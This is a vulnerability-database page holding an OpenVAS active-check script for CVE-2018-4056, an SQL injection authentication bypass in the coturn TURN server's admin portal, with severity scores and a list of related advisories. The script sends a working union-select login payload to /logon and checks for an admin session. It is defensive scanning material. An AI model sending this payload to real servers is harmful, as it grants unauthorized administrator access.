coturn <= 4.5.0.8 Authentication Bypass Vulnerability - Active Check
🗓️ 31 Jan 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType
openvas🔗 plugins.openvas.org👁 515 Views
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| turnserver -- multiple vulnerabilities | 28 Jan 201900:00 | – | freebsd | |
| The vulnerability of the coTURN server function, which allows a perpetrator to gain unauthorized access to protected information | 15 Jul 202000:00 | – | bdu_fstec | |
| CVE-2018-4056 | 30 Jan 201915:07 | – | circl | |
| CVE-2018-4056 | 5 Feb 201918:00 | – | cve | |
| CVE-2018-4056 | 5 Feb 201918:00 | – | cvelist | |
| [SECURITY] [DLA 1671-1] coturn security update | 11 Feb 201910:27 | – | debian | |
| [SECURITY] [DSA 4373-1] coturn security update | 28 Jan 201907:36 | – | debian | |
| CVE-2018-4056 | 5 Feb 201918:00 | – | debiancve | |
| Debian DLA-1671-1 : coturn security update | 12 Feb 201900:00 | – | nessus | |
| Debian DSA-4373-1 : coturn - security update | 29 Jan 201900:00 | – | nessus |
10
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:coturn:coturn";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.141944");
script_version("2025-03-18T05:38:50+0000");
script_tag(name:"last_modification", value:"2025-03-18 05:38:50 +0000 (Tue, 18 Mar 2025)");
script_tag(name:"creation_date", value:"2019-01-31 13:03:06 +0700 (Thu, 31 Jan 2019)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2022-06-07 17:18:00 +0000 (Tue, 07 Jun 2022)");
script_cve_id("CVE-2018-4056");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("coturn <= 4.5.0.8 Authentication Bypass Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_coturn_http_detect.nasl");
script_mandatory_keys("coturn/detected");
script_require_ports("Services/www", 443);
script_tag(name:"summary", value:"coturn is prone to an authentication bypass vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"An exploitable SQL injection vulnerability exists in the
administrator web portal function of coturn. A login message with a specially crafted username can
cause an SQL injection, resulting in authentication bypass, which could give access to the TURN
server administrator web portal. An attacker can log in via the external interface of the TURN
server to trigger this vulnerability.");
script_tag(name:"affected", value:"coturn before version 4.5.0.9.");
script_tag(name:"solution", value:"Update to version 4.5.0.9 or later.");
script_xref(name:"URL", value:"https://blog.talosintelligence.com/2019/01/vulnerability-spotlight-multiple.html");
script_xref(name:"URL", value:"http://www.talosintelligence.com/reports/TALOS-2018-0730");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
# This seems to initiate the session on the server (so not caching) and therefore is needed first
req = http_get(port: port, item: "/favicon.ico");
res = http_keepalive_send_recv(port: port, data: req);
url = "/logon";
data = 'uname=%27+union+select+%27%27%2C%270000%27%3B+--&pwd=0000';
headers = make_array("Content-Type", "application/x-www-form-urlencoded");
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
if ("<i>' union select" >< res && "Set Admin Session Realm" >< res) {
report = "It was possible to bypass authentication and login as an admin user.";
security_message(port: port, data: report);
exit(0);
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Mar 2025 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
CVSS 39.1
EPSS0.02955